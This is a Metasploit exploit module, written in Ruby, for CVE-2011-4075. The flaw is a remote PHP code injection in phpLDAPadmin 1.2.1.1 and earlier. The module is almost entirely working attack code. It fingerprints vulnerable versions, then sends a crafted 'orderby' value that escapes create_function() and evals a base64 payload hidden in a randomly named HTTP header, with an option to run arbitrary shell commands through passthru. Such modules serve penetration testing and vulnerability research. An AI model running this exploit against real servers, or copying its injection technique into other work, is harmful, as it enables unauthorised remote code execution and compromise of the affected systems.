##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'phpLDAPadmin query_engine Remote PHP Code Injection',
      'Description'    => %q{
        This module exploits a vulnerability in the lib/functions.php for
        phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input
        parsed directly to the create_function() php function. A patch was
        issued that uses a whitelist regex expression to check the user supplied
        input before being parsed to the create_function() call.
      },
      'Author'         =>
        [
          'EgiX <n0b0d13s[at]gmail.com>',               # original discovery/poc
          'mr_me <steventhomasseeley[at]gmail.com>',    # msf
          'TecR0c <roccogiovannicalvi[at]gmail.com >',  # msf
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2011-4075'],
          ['OSVDB', '76594'],
          ['BID', '50331'],
          ['EDB', '18021']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 4000,
          'Keys'        => ['php'],
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2011-10-24',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
        ])
  end

  def check
    uri = normalize_uri(datastore['URI'], 'index.php')

    res = send_request_raw(
      {
        'method'  => 'GET',
        'uri' => uri,
      }, 3)

    if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def get_session
    uri = normalize_uri(datastore['URI'], 'index.php')

    res = send_request_raw(
      {
        'method'  => 'GET',
        'uri' => uri,
      }, 3)

    if res.nil? or res.get_cookies.empty?
      print_error("Could not generate a valid session")
      return
    end

    return res.get_cookies
  end

  def exploit
    # if we are using the exec CMD stager
    # important to check which php functions are disabled
    if datastore['CMD']
      p = "passthru(\"%s\");" % datastore['CMD']
      p = Rex::Text.encode_base64(p)
    else
      p = Rex::Text.encode_base64(payload.encoded)
    end

    # Generate some random strings
    hidden_header = rand_text_alpha_upper(6)
    fake_func_name = rand_text_alpha_upper(2)

    # build sttack string
    php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
    data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
    session = get_session

    uri = normalize_uri(datastore['URI'])
    uri << '/' if uri[-1,1] != '/'
    uri << 'cmd.php'

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => uri,
        'data' => data,
        'headers' =>
          {
            "#{hidden_header}" => p,
            'Cookie' => session,
            'Connection' => 'Close',
          },
      }, 3)

    print_status("%s" % res.body) if datastore['CMD']
  end
end
